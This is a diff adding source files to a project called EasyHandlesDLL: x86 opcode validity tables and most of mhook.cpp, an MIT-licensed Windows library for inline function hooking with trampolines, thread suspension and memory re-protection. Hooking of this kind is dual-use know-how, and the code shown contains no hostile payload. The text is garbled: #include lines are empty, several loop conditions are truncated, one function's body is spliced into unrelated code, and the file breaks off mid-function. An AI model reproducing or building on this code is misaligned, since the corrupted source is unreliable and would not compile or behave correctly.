+ /* Ax */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* Ax */
+ /* Bx */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* Bx */
+ /* Cx */ 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, /* Cx */
+ /* Dx */ 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* Dx */
+ /* Ex */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, /* Ex */
+ /* Fx */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 /* Fx */
+};
+
+// Indicate which 2-byte opcodes are invalid with a 64-bit address size
+BYTE X86_Invalid_Addr64_2[0x100] =
+{
+ /* x0 x1 x2 x3 x4 x5 x6 x7 x8 x9 xA xB xC xD xE xF */
+ /* 0x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 0x */
+ /* 1x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 1x */
+ /* 2x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 2x */
+ /* 3x */ 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 3x */
+ /* 4x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 4x */
+ /* 5x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 5x */
+ /* 6x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 6x */
+ /* 7x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 7x */
+ /* 8x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 8x */
+ /* 9x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 9x */
+ /* Ax */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* Ax */
+ /* Bx */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* Bx */
+ /* Cx */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* Cx */
+ /* Dx */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* Dx */
+ /* Ex */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* Ex */
+ /* Fx */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 /* Fx */
+};
+
+#endif // DISASM_X86_TABLES
+```
+
+`EasyHandlesDLL/disasm-lib/mhook.cpp`:
+
+```cpp
+//Copyright (c) 2007-2008, Marton Anka
+//
+//Permission is hereby granted, free of charge, to any person obtaining a
+//copy of this software and associated documentation files (the "Software"),
+//to deal in the Software without restriction, including without limitation
+//the rights to use, copy, modify, merge, publish, distribute, sublicense,
+//and/or sell copies of the Software, and to permit persons to whom the
+//Software is furnished to do so, subject to the following conditions:
+//
+//The above copyright notice and this permission notice shall be included
+//in all copies or substantial portions of the Software.
+//
+//THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
+//OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+//FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
+//THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+//LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+//FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
+//IN THE SOFTWARE.
+
+#include
+#include
+#include
+#include "mhook.h"
+#include "disasm.h"
+
+//=========================================================================
+#ifndef cntof
+#define cntof(a) (sizeof(a)/sizeof(a[0]))
+#endif
+
+//=========================================================================
+#ifndef GOOD_HANDLE
+#define GOOD_HANDLE(a) ((a!=INVALID_HANDLE_VALUE)&&(a!=NULL))
+#endif
+
+//=========================================================================
+#ifndef gle
+#define gle GetLastError
+#endif
+
+//=========================================================================
+#ifndef ODPRINTF
+
+#ifdef _DEBUG
+#define ODPRINTF(a) odprintf a
+#else
+#define ODPRINTF(a)
+#endif
+
+inline void __cdecl odprintf(PCSTR format, ...) {
+ va_list args;
+ va_start(args, format);
+ int len = _vscprintf(format, args);
+ if (len > 0) {
+ len += (1 + 2);
+ PSTR buf = (PSTR)malloc(len);
+ if (buf) {
+ len = vsprintf_s(buf, len, format, args);
+ if (len > 0) {
+ while (len && isspace(buf[len - 1])) len--;
+ buf[len++] = '\r';
+ buf[len++] = '\n';
+ buf[len] = 0;
+ OutputDebugStringA(buf);
+ }
+ free(buf);
+ }
+ va_end(args);
+ }
+}
+
+inline void __cdecl odprintf(PCWSTR format, ...) {
+ va_list args;
+ va_start(args, format);
+ int len = _vscwprintf(format, args);
+ if (len > 0) {
+ len += (1 + 2);
+ PWSTR buf = (PWSTR)malloc(sizeof(WCHAR)*len);
+ if (buf) {
+ len = vswprintf_s(buf, len, format, args);
+ if (len > 0) {
+ while (len && iswspace(buf[len - 1])) len--;
+ buf[len++] = L'\r';
+ buf[len++] = L'\n';
+ buf[len] = 0;
+ OutputDebugStringW(buf);
+ }
+ free(buf);
+ }
+ va_end(args);
+ }
+}
+
+#endif //#ifndef ODPRINTF
+
+//=========================================================================
+#define MHOOKS_MAX_CODE_BYTES 32
+#define MHOOKS_MAX_RIPS 4
+
+//=========================================================================
+// The trampoline structure - stores every bit of info about a hook
+struct MHOOKS_TRAMPOLINE {
+ PBYTE pSystemFunction; // the original system function
+ DWORD cbOverwrittenCode; // number of bytes overwritten by the jump
+ PBYTE pHookFunction; // the hook function that we provide
+ BYTE codeJumpToHookFunction[MHOOKS_MAX_CODE_BYTES]; // placeholder for code that jumps to the hook function
+ BYTE codeTrampoline[MHOOKS_MAX_CODE_BYTES]; // placeholder for code that holds the first few
+ // bytes from the system function and a jump to the remainder
+ // in the original location
+ BYTE codeUntouched[MHOOKS_MAX_CODE_BYTES]; // placeholder for unmodified original code
+ // (we patch IP-relative addressing)
+ MHOOKS_TRAMPOLINE* pPrevTrampoline; // When in the free list, thess are pointers to the prev and next entry.
+ MHOOKS_TRAMPOLINE* pNextTrampoline; // When not in the free list, this is a pointer to the prev and next trampoline in use.
+};
+
+//=========================================================================
+// The patch data structures - store info about rip-relative instructions
+// during hook placement
+struct MHOOKS_RIPINFO
+{
+ DWORD dwOffset;
+ S64 nDisplacement;
+};
+
+struct MHOOKS_PATCHDATA
+{
+ S64 nLimitUp;
+ S64 nLimitDown;
+ DWORD nRipCnt;
+ MHOOKS_RIPINFO rips[MHOOKS_MAX_RIPS];
+};
+
+//=========================================================================
+// Global vars
+static BOOL g_bVarsInitialized = FALSE;
+static CRITICAL_SECTION g_cs;
+static MHOOKS_TRAMPOLINE* g_pHooks = NULL;
+static MHOOKS_TRAMPOLINE* g_pFreeList = NULL;
+static DWORD g_nHooksInUse = 0;
+static HANDLE* g_hThreadHandles = NULL;
+static DWORD g_nThreadHandles = 0;
+#define MHOOK_JMPSIZE 5
+#define MHOOK_MINALLOCSIZE 4096
+
+//=========================================================================
+// Toolhelp defintions so the functions can be dynamically bound to
+typedef HANDLE(WINAPI * _CreateToolhelp32Snapshot)(
+ DWORD dwFlags,
+ DWORD th32ProcessID
+ );
+
+typedef BOOL(WINAPI * _Thread32First)(
+ HANDLE hSnapshot,
+ LPTHREADENTRY32 lpte
+ );
+
+typedef BOOL(WINAPI * _Thread32Next)(
+ HANDLE hSnapshot,
+ LPTHREADENTRY32 lpte
+ );
+
+//=========================================================================
+// Bring in the toolhelp functions from kernel32
+_CreateToolhelp32Snapshot fnCreateToolhelp32Snapshot = (_CreateToolhelp32Snapshot)GetProcAddress(GetModuleHandle(L"kernel32"), "CreateToolhelp32Snapshot");
+_Thread32First fnThread32First = (_Thread32First)GetProcAddress(GetModuleHandle(L"kernel32"), "Thread32First");
+_Thread32Next fnThread32Next = (_Thread32Next)GetProcAddress(GetModuleHandle(L"kernel32"), "Thread32Next");
+
+//=========================================================================
+// Internal function:
+//
+// Remove the trampoline from the specified list, updating the head pointer
+// if necessary.
+//=========================================================================
+static VOID ListRemove(MHOOKS_TRAMPOLINE** pListHead, MHOOKS_TRAMPOLINE* pNode) {
+ if (pNode->pPrevTrampoline) {
+ pNode->pPrevTrampoline->pNextTrampoline = pNode->pNextTrampoline;
+ }
+
+ if (pNode->pNextTrampoline) {
+ pNode->pNextTrampoline->pPrevTrampoline = pNode->pPrevTrampoline;
+ }
+
+ if ((*pListHead) == pNode) {
+ (*pListHead) = pNode->pNextTrampoline;
+ assert((*pListHead)->pPrevTrampoline == NULL);
+ }
+
+ pNode->pPrevTrampoline = NULL;
+ pNode->pNextTrampoline = NULL;
+}
+
+//=========================================================================
+// Internal function:
+//
+// Prepend the trampoline from the specified list and update the head pointer.
+//=========================================================================
+static VOID ListPrepend(MHOOKS_TRAMPOLINE** pListHead, MHOOKS_TRAMPOLINE* pNode) {
+ pNode->pPrevTrampoline = NULL;
+ pNode->pNextTrampoline = (*pListHead);
+ if ((*pListHead)) {
+ (*pListHead)->pPrevTrampoline = pNode;
+ }
+ (*pListHead) = pNode;
+}
+
+//=========================================================================
+static VOID EnterCritSec() {
+ if (!g_bVarsInitialized) {
+ InitializeCriticalSection(&g_cs);
+ g_bVarsInitialized = TRUE;
+ }
+ EnterCriticalSection(&g_cs);
+}
+
+//=========================================================================
+static VOID LeaveCritSec() {
+ LeaveCriticalSection(&g_cs);
+}
+
+//=========================================================================
+// Internal function:
+//
+// Skip over jumps that lead to the real function. Gets around import
+// jump tables, etc.
+//=========================================================================
+static PBYTE SkipJumps(PBYTE pbCode) {
+ PBYTE pbOrgCode = pbCode;
+#ifdef _M_IX86_X64
+#ifdef _M_IX86
+ //mov edi,edi: hot patch point
+ if (pbCode[0] == 0x8b && pbCode[1] == 0xff)
+ pbCode += 2;
+ // push ebp; mov ebp, esp; pop ebp;
+ // "collapsed" stackframe generated by MSVC
+ if (pbCode[0] == 0x55 && pbCode[1] == 0x8b && pbCode[2] == 0xec && pbCode[3] == 0x5d)
+ pbCode += 4;
+#endif
+ if (pbCode[0] == 0xff && pbCode[1] == 0x25) {
+#ifdef _M_IX86
+ // on x86 we have an absolute pointer...
+ PBYTE pbTarget = *(PBYTE *)&pbCode[2];
+ // ... that shows us an absolute pointer.
+ return SkipJumps(*(PBYTE *)pbTarget);
+#elif defined _M_X64
+ // on x64 we have a 32-bit offset...
+ INT32 lOffset = *(INT32 *)&pbCode[2];
+ // ... that shows us an absolute pointer
+ return SkipJumps(*(PBYTE*)(pbCode + 6 + lOffset));
+ }
+ else if (pbCode[0] == 0x48 && pbCode[1] == 0xff && pbCode[2] == 0x25) {
+ // or we can have the same with a REX prefix
+ INT32 lOffset = *(INT32 *)&pbCode[3];
+ // ... that shows us an absolute pointer
+ return SkipJumps(*(PBYTE*)(pbCode + 7 + lOffset));
+#endif
+ }
+ else if (pbCode[0] == 0xe9) {
+ // here the behavior is identical, we have...
+ // ...a 32-bit offset to the destination.
+ return SkipJumps(pbCode + 5 + *(INT32 *)&pbCode[1]);
+ }
+ else if (pbCode[0] == 0xeb) {
+ // and finally an 8-bit offset to the destination
+ return SkipJumps(pbCode + 2 + *(CHAR *)&pbCode[1]);
+ }
+#else
+#error unsupported platform
+#endif
+ return pbOrgCode;
+}
+
+//=========================================================================
+// Internal function:
+//
+// Writes code at pbCode that jumps to pbJumpTo. Will attempt to do this
+// in as few bytes as possible. Important on x64 where the long jump
+// (0xff 0x25 ....) can take up 14 bytes.
+//=========================================================================
+static PBYTE EmitJump(PBYTE pbCode, PBYTE pbJumpTo) {
+#ifdef _M_IX86_X64
+ PBYTE pbJumpFrom = pbCode + 5;
+ SIZE_T cbDiff = pbJumpFrom > pbJumpTo ? pbJumpFrom - pbJumpTo : pbJumpTo - pbJumpFrom;
+ ODPRINTF((L"mhooks: EmitJump: Jumping from %p to %p, diff is %p", pbJumpFrom, pbJumpTo, cbDiff));
+ if (cbDiff <= 0x7fff0000) {
+ pbCode[0] = 0xe9;
+ pbCode += 1;
+ *((PDWORD)pbCode) = (DWORD)(DWORD_PTR)(pbJumpTo - pbJumpFrom);
+ pbCode += sizeof(DWORD);
+ }
+ else {
+ pbCode[0] = 0xff;
+ pbCode[1] = 0x25;
+ pbCode += 2;
+#ifdef _M_IX86
+ // on x86 we write an absolute address (just behind the instruction)
+ *((PDWORD)pbCode) = (DWORD)(DWORD_PTR)(pbCode + sizeof(DWORD));
+#elif defined _M_X64
+ // on x64 we write the relative address of the same location
+ *((PDWORD)pbCode) = (DWORD)0;
+#endif
+ pbCode += sizeof(DWORD);
+ *((PDWORD_PTR)pbCode) = (DWORD_PTR)(pbJumpTo);
+ pbCode += sizeof(DWORD_PTR);
+ }
+#else
+#error unsupported platform
+#endif
+ return pbCode;
+}
+
+
+//=========================================================================
+// Internal function:
+//
+// Round down to the next multiple of rndDown
+//=========================================================================
+static size_t RoundDown(size_t addr, size_t rndDown)
+{
+ return (addr / rndDown) * rndDown;
+}
+
+//=========================================================================
+// Internal function:
+//
+// Will attempt allocate a block of memory within the specified range, as
+// near as possible to the specified function.
+//=========================================================================
+static MHOOKS_TRAMPOLINE* BlockAlloc(PBYTE pSystemFunction, PBYTE pbLower, PBYTE pbUpper) {
+ SYSTEM_INFO sSysInfo = { 0 };
+ ::GetSystemInfo(&sSysInfo);
+
+ // Always allocate in bulk, in case the system actually has a smaller allocation granularity than MINALLOCSIZE.
+ const ptrdiff_t cAllocSize = max(sSysInfo.dwAllocationGranularity, MHOOK_MINALLOCSIZE);
+
+ MHOOKS_TRAMPOLINE* pRetVal = NULL;
+ PBYTE pModuleGuess = (PBYTE)RoundDown((size_t)pSystemFunction, cAllocSize);
+ int loopCount = 0;
+ for (PBYTE pbAlloc = pModuleGuess; pbLower < pbAlloc && pbAlloc < pbUpper; ++loopCount) {
+ // determine current state
+ MEMORY_BASIC_INFORMATION mbi;
+ ODPRINTF((L"mhooks: BlockAlloc: Looking at address %p", pbAlloc));
+ if (!VirtualQuery(pbAlloc, &mbi, sizeof(mbi)))
+ break;
+ // free & large enough?
+ if (mbi.State == MEM_FREE && mbi.RegionSize >= (unsigned)cAllocSize) {
+ // and then try to allocate it
+ pRetVal = (MHOOKS_TRAMPOLINE*)VirtualAlloc(pbAlloc, cAllocSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
+ if (pRetVal) {
+ size_t trampolineCount = cAllocSize / sizeof(MHOOKS_TRAMPOLINE);
+ ODPRINTF((L"mhooks: BlockAlloc: Allocated block at %p as %d trampolines", pRetVal, trampolineCount));
+
+ pRetVal[0].pPrevTrampoline = NULL;
+ pRetVal[0].pNextTrampoline = &pRetVal[1];
+
+ // prepare them by having them point down the line at the next entry.
+ for (size_t s = 1; s < trampolineCount; ++s) {
+ pRetVal[s].pPrevTrampoline = &pRetVal[s - 1];
+ pRetVal[s].pNextTrampoline = &pRetVal[s + 1];
+ }
+
+ // last entry points to the current head of the free list
+ pRetVal[trampolineCount - 1].pNextTrampoline = g_pFreeList;
+ break;
+ }
+ }
+
+ // This is a spiral, should be -1, 1, -2, 2, -3, 3, etc. (* cAllocSize)
+ ptrdiff_t bytesToOffset = (cAllocSize * (loopCount + 1) * ((loopCount % 2 == 0) ? -1 : 1));
+ pbAlloc = pbAlloc + bytesToOffset;
+ }
+
+ return pRetVal;
+}
+
+//=========================================================================
+// Internal function:
+//
+// Will try to allocate a big block of memory inside the required range.
+//=========================================================================
+static MHOOKS_TRAMPOLINE* FindTrampolineInRange(PBYTE pLower, PBYTE pUpper) {
+ if (!g_pFreeList) {
+ return NULL;
+ }
+
+ // This is a standard free list, except we're doubly linked to deal with soem return shenanigans.
+ MHOOKS_TRAMPOLINE* curEntry = g_pFreeList;
+ while (curEntry) {
+ if ((MHOOKS_TRAMPOLINE*)pLower < curEntry && curEntry < (MHOOKS_TRAMPOLINE*)pUpper) {
+ ListRemove(&g_pFreeList, curEntry);
+
+ return curEntry;
+ }
+
+ curEntry = curEntry->pNextTrampoline;
+ }
+
+ return NULL;
+}
+
+//=========================================================================
+// Internal function:
+//
+// Will try to allocate the trampoline structure within 2 gigabytes of
+// the target function.
+//=========================================================================
+static MHOOKS_TRAMPOLINE* TrampolineAlloc(PBYTE pSystemFunction, S64 nLimitUp, S64 nLimitDown) {
+
+ MHOOKS_TRAMPOLINE* pTrampoline = NULL;
+
+ // determine lower and upper bounds for the allocation locations.
+ // in the basic scenario this is +/- 2GB but IP-relative instructions
+ // found in the original code may require a smaller window.
+ PBYTE pLower = pSystemFunction + nLimitUp;
+ pLower = pLower < (PBYTE)(DWORD_PTR)0x0000000080000000 ?
+ (PBYTE)(0x1) : (PBYTE)(pLower - (PBYTE)0x7fff0000);
+ PBYTE pUpper = pSystemFunction + nLimitDown;
+ pUpper = pUpper < (PBYTE)(DWORD_PTR)0xffffffff80000000 ?
+ (PBYTE)(pUpper + (DWORD_PTR)0x7ff80000) : (PBYTE)(DWORD_PTR)0xfffffffffff80000;
+ ODPRINTF((L"mhooks: TrampolineAlloc: Allocating for %p between %p and %p", pSystemFunction, pLower, pUpper));
+
+ // try to find a trampoline in the specified range
+ pTrampoline = FindTrampolineInRange(pLower, pUpper);
+ if (!pTrampoline) {
+ // if it we can't find it, then we need to allocate a new block and
+ // try again. Just fail if that doesn't work
+ g_pFreeList = BlockAlloc(pSystemFunction, pLower, pUpper);
+ pTrampoline = FindTrampolineInRange(pLower, pUpper);
+ }
+
+ // found and allocated a trampoline?
+ if (pTrampoline) {
+ ListPrepend(&g_pHooks, pTrampoline);
+ }
+
+ return pTrampoline;
+}
+
+//=========================================================================
+// Internal function:
+//
+// Return the internal trampoline structure that belongs to a hooked function.
+//=========================================================================
+static MHOOKS_TRAMPOLINE* TrampolineGet(PBYTE pHookedFunction) {
+ MHOOKS_TRAMPOLINE* pCurrent = g_pHooks;
+
+ while (pCurrent) {
+ if (pCurrent->pHookFunction == pHookedFunction) {
+ return pCurrent;
+ }
+
+ pCurrent = pCurrent->pNextTrampoline;
+ }
+
+ return NULL;
+}
+
+//=========================================================================
+// Internal function:
+//
+// Free a trampoline structure.
+//=========================================================================
+static VOID TrampolineFree(MHOOKS_TRAMPOLINE* pTrampoline, BOOL bNeverUsed) {
+ ListRemove(&g_pHooks, pTrampoline);
+
+ // If a thread could feasinbly have some of our trampoline code
+ // on its stack and we yank the region from underneath it then it will
+ // surely crash upon returning. So instead of freeing the
+ // memory we just let it leak. Ugly, but safe.
+ if (bNeverUsed) {
+ ListPrepend(&g_pFreeList, pTrampoline);
+ }
+
+ g_nHooksInUse--;
+}
+
+//=========================================================================
+// Internal function:
+//
+// Suspend a given thread and try to make sure that its instruction
+// pointer is not in the given range.
+//=========================================================================
+static HANDLE SuspendOneThread(DWORD dwThreadId, PBYTE pbCode, DWORD cbBytes) {
+ // open the thread
+ HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, dwThreadId);
+ if (GOOD_HANDLE(hThread)) {
+ // attempt suspension
+ DWORD dwSuspendCount = SuspendThread(hThread);
+ if (dwSuspendCount != -1) {
+ // see where the IP is
+ CONTEXT ctx;
+ ctx.ContextFlags = CONTEXT_CONTROL;
+ int nTries = 0;
+ while (GetThreadContext(hThread, &ctx)) {
+#ifdef _M_IX86
+ PBYTE pIp = (PBYTE)(DWORD_PTR)ctx.Eip;
+#elif defined _M_X64
+ PBYTE pIp = (PBYTE)(DWORD_PTR)ctx.Rip;
+#endif
+ if (pIp >= pbCode && pIp < (pbCode + cbBytes)) {
+ if (nTries < 3) {
+ // oops - we should try to get the instruction pointer out of here.
+ ODPRINTF((L"mhooks: SuspendOneThread: suspended thread %d - IP is at %p - IS COLLIDING WITH CODE", dwThreadId, pIp));
+ ResumeThread(hThread);
+ Sleep(100);
+ SuspendThread(hThread);
+ nTries++;
+ }
+ else {
+ // we gave it all we could. (this will probably never
+ // happen - unless the thread has already been suspended
+ // to begin with)
+ ODPRINTF((L"mhooks: SuspendOneThread: suspended thread %d - IP is at %p - IS COLLIDING WITH CODE - CAN'T FIX", dwThreadId, pIp));
+ ResumeThread(hThread);
+ CloseHandle(hThread);
+ hThread = NULL;
+ break;
+ }
+ }
+ else {
+ // success, the IP is not conflicting
+ ODPRINTF((L"mhooks: SuspendOneThread: Successfully suspended thread %d - IP is at %p", dwThreadId, pIp));
+ break;
+ }
+ }
+ }
+ else {
+ // couldn't suspend
+ CloseHandle(hThread);
+ hThread = NULL;
+ }
+ }
+ return hThread;
+}
+
+//=========================================================================
+// Internal function:
+//
+// Resumes all previously suspended threads in the current process.
+//=========================================================================
+static VOID ResumeOtherThreads() {
+ // make sure things go as fast as possible
+ INT nOriginalPriority = GetThreadPriority(GetCurrentThread());
+ SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);
+ // go through our list
+ for (DWORD i = 0; inRipCnt; i++) {
+ DWORD dwNewDisplacement = (DWORD)(pdata->rips[i].nDisplacement - diff);
+ ODPRINTF((L"mhooks: fixing up RIP instruction operand for code at 0x%p: "
+ L"old displacement: 0x%8.8x, new displacement: 0x%8.8x",
+ pbNew + pdata->rips[i].dwOffset,
+ (DWORD)pdata->rips[i].nDisplacement,
+ dwNewDisplacement));
+ *(PDWORD)(pbNew + pdata->rips[i].dwOffset) = dwNewDisplacement;
+ }
+#endif
+}
+
+//=========================================================================
+// Examine the machine code at the target function's entry point, and
+// skip bytes in a way that we'll always end on an instruction boundary.
+// We also detect branches and subroutine calls (as well as returns)
+// at which point disassembly must stop.
+// Finally, detect and collect information on IP-relative instructions
+// that we can patch.
+static DWORD DisassembleAndSkip(PVOID pFunction, DWORD dwMinLen, MHOOKS_PATCHDATA* pdata) {
+ DWORD dwRet = 0;
+ pdata->nLimitDown = 0;
+ pdata->nLimitUp = 0;
+ pdata->nRipCnt = 0;
+#ifdef _M_IX86
+ ARCHITECTURE_TYPE arch = ARCH_X86;
+#elif defined _M_X64
+ ARCHITECTURE_TYPE arch = ARCH_X64;
+#else
+#error unsupported platform
+#endif
+ DISASSEMBLER dis;
+ if (InitDisassembler(&dis, arch)) {
+ INSTRUCTION* pins = NULL;
+ U8* pLoc = (U8*)pFunction;
+ DWORD dwFlags = DISASM_DECODE | DISASM_DISASSEMBLE | DISASM_ALIGNOUTPUT;
+
+ ODPRINTF((L"mhooks: DisassembleAndSkip: Disassembling %p", pLoc));
+ while ((dwRet < dwMinLen) && (pins = GetInstruction(&dis, (ULONG_PTR)pLoc, pLoc, dwFlags))) {
+ ODPRINTF(("mhooks: DisassembleAndSkip: %p:(0x%2.2x) %s", pLoc, pins->Length, pins->String));
+ if (pins->Type == ITYPE_RET) break;
+ if (pins->Type == ITYPE_BRANCH) break;
+ if (pins->Type == ITYPE_BRANCHCC) break;
+ if (pins->Type == ITYPE_CALL) break;
+ if (pins->Type == ITYPE_CALLCC) break;
+
+#if defined _M_X64
+ BOOL bProcessRip = FALSE;
+ // mov or lea to register from rip+imm32
+ if ((pins->Type == ITYPE_MOV || pins->Type == ITYPE_LEA) && (pins->X86.Relative) &&
+ (pins->X86.OperandSize == 8) && (pins->OperandCount == 2) &&
+ (pins->Operands[1].Flags & OP_IPREL) && (pins->Operands[1].Register == AMD64_REG_RIP))
+ {
+ // rip-addressing "mov reg, [rip+imm32]"
+ ODPRINTF((L"mhooks: DisassembleAndSkip: found OP_IPREL on operand %d with displacement 0x%x (in memory: 0x%x)", 1, pins->X86.Displacement, *(PDWORD)(pLoc + 3)));
+ bProcessRip = TRUE;
+ }
+ // mov or lea to rip+imm32 from register
+ else if ((pins->Type == ITYPE_MOV || pins->Type == ITYPE_LEA) && (pins->X86.Relative) &&
+ (pins->X86.OperandSize == 8) && (pins->OperandCount == 2) &&
+ (pins->Operands[0].Flags & OP_IPREL) && (pins->Operands[0].Register == AMD64_REG_RIP))
+ {
+ // rip-addressing "mov [rip+imm32], reg"
+ ODPRINTF((L"mhooks: DisassembleAndSkip: found OP_IPREL on operand %d with displacement 0x%x (in memory: 0x%x)", 0, pins->X86.Displacement, *(PDWORD)(pLoc + 3)));
+ bProcessRip = TRUE;
+ }
+ else if ((pins->OperandCount >= 1) && (pins->Operands[0].Flags & OP_IPREL))
+ {
+ // unsupported rip-addressing
+ ODPRINTF((L"mhooks: DisassembleAndSkip: found unsupported OP_IPREL on operand %d", 0));
+ // dump instruction bytes to the debug output
+ for (DWORD i = 0; iLength; i++) {
+ ODPRINTF((L"mhooks: DisassembleAndSkip: instr byte %2.2d: 0x%2.2x", i, pLoc[i]));
+ }
+ break;
+ }
+ else if ((pins->OperandCount >= 2) && (pins->Operands[1].Flags & OP_IPREL))
+ {
+ // unsupported rip-addressing
+ ODPRINTF((L"mhooks: DisassembleAndSkip: found unsupported OP_IPREL on operand %d", 1));
+ // dump instruction bytes to the debug output
+ for (DWORD i = 0; iLength; i++) {
+ ODPRINTF((L"mhooks: DisassembleAndSkip: instr byte %2.2d: 0x%2.2x", i, pLoc[i]));
+ }
+ break;
+ }
+ else if ((pins->OperandCount >= 3) && (pins->Operands[2].Flags & OP_IPREL))
+ {
+ // unsupported rip-addressing
+ ODPRINTF((L"mhooks: DisassembleAndSkip: found unsupported OP_IPREL on operand %d", 2));
+ // dump instruction bytes to the debug output
+ for (DWORD i = 0; iLength; i++) {
+ ODPRINTF((L"mhooks: DisassembleAndSkip: instr byte %2.2d: 0x%2.2x", i, pLoc[i]));
+ }
+ break;
+ }
+ // follow through with RIP-processing if needed
+ if (bProcessRip) {
+ // calculate displacement relative to function start
+ S64 nAdjustedDisplacement = pins->X86.Displacement + (pLoc - (U8*)pFunction);
+ // store displacement values furthest from zero (both positive and negative)
+ if (nAdjustedDisplacement < pdata->nLimitDown)
+ pdata->nLimitDown = nAdjustedDisplacement;
+ if (nAdjustedDisplacement > pdata->nLimitUp)
+ pdata->nLimitUp = nAdjustedDisplacement;
+ // store patch info
+ if (pdata->nRipCnt < MHOOKS_MAX_RIPS) {
+ pdata->rips[pdata->nRipCnt].dwOffset = dwRet + 3;
+ pdata->rips[pdata->nRipCnt].nDisplacement = pins->X86.Displacement;
+ pdata->nRipCnt++;
+ }
+ else {
+ // no room for patch info, stop disassembly
+ break;
+ }
+ }
+#endif
+
+ dwRet += pins->Length;
+ pLoc += pins->Length;
+ }
+
+ CloseDisassembler(&dis);
+ }
+
+ return dwRet;
+}
+
+//=========================================================================
+BOOL Mhook_SetHook(PVOID *ppSystemFunction, PVOID pHookFunction) {
+ MHOOKS_TRAMPOLINE* pTrampoline = NULL;
+ PVOID pSystemFunction = *ppSystemFunction;
+ // ensure thread-safety
+ EnterCritSec();
+ ODPRINTF((L"mhooks: Mhook_SetHook: Started on the job: %p / %p", pSystemFunction, pHookFunction));
+ // find the real functions (jump over jump tables, if any)
+ pSystemFunction = SkipJumps((PBYTE)pSystemFunction);
+ pHookFunction = SkipJumps((PBYTE)pHookFunction);
+ ODPRINTF((L"mhooks: Mhook_SetHook: Started on the job: %p / %p", pSystemFunction, pHookFunction));
+ // figure out the length of the overwrite zone
+ MHOOKS_PATCHDATA patchdata = { 0 };
+ DWORD dwInstructionLength = DisassembleAndSkip(pSystemFunction, MHOOK_JMPSIZE, &patchdata);
+ if (dwInstructionLength >= MHOOK_JMPSIZE) {
+ ODPRINTF((L"mhooks: Mhook_SetHook: disassembly signals %d bytes", dwInstructionLength));
+ // suspend every other thread in this process, and make sure their IP
+ // is not in the code we're about to overwrite.
+ SuspendOtherThreads((PBYTE)pSystemFunction, dwInstructionLength);
+ // allocate a trampoline structure (TODO: it is pretty wasteful to get
+ // VirtualAlloc to grab chunks of memory smaller than 100 bytes)
+ pTrampoline = TrampolineAlloc((PBYTE)pSystemFunction, patchdata.nLimitUp, patchdata.nLimitDown);
+ if (pTrampoline) {
+ ODPRINTF((L"mhooks: Mhook_SetHook: allocated structure at %p", pTrampoline));
+ DWORD dwOldProtectSystemFunction = 0;
+ DWORD dwOldProtectTrampolineFunction = 0;
+ // set the system function to PAGE_EXECUTE_READWRITE
+ if (VirtualProtect(pSystemFunction, dwInstructionLength, PAGE_EXECUTE_READWRITE, &dwOldProtectSystemFunction)) {
+ ODPRINTF((L"mhooks: Mhook_SetHook: readwrite set on system function"));
+ // mark our trampoline buffer to PAGE_EXECUTE_READWRITE
+ if (VirtualProtect(pTrampoline, sizeof(MHOOKS_TRAMPOLINE), PAGE_EXECUTE_READWRITE, &dwOldProtectTrampolineFunction)) {
+ ODPRINTF((L"mhooks: Mhook_SetHook: readwrite set on trampoline structure"));
+
+ // create our trampoline function
+ PBYTE pbCode = pTrampoline->codeTrampoline;
+ // save original code..
+ for (DWORD i = 0; icodeUntouched[i] = pbCode[i] = ((PBYTE)pSystemFunction)[i];
+ }
+ pbCode += dwInstructionLength;
+ // plus a jump to the continuation in the original location
+ pbCode = EmitJump(pbCode, ((PBYTE)pSystemFunction) + dwInstructionLength);
+ ODPRINTF((L"mhooks: Mhook_SetHook: updated the trampoline"));
+
+ // fix up any IP-relative addressing in the code
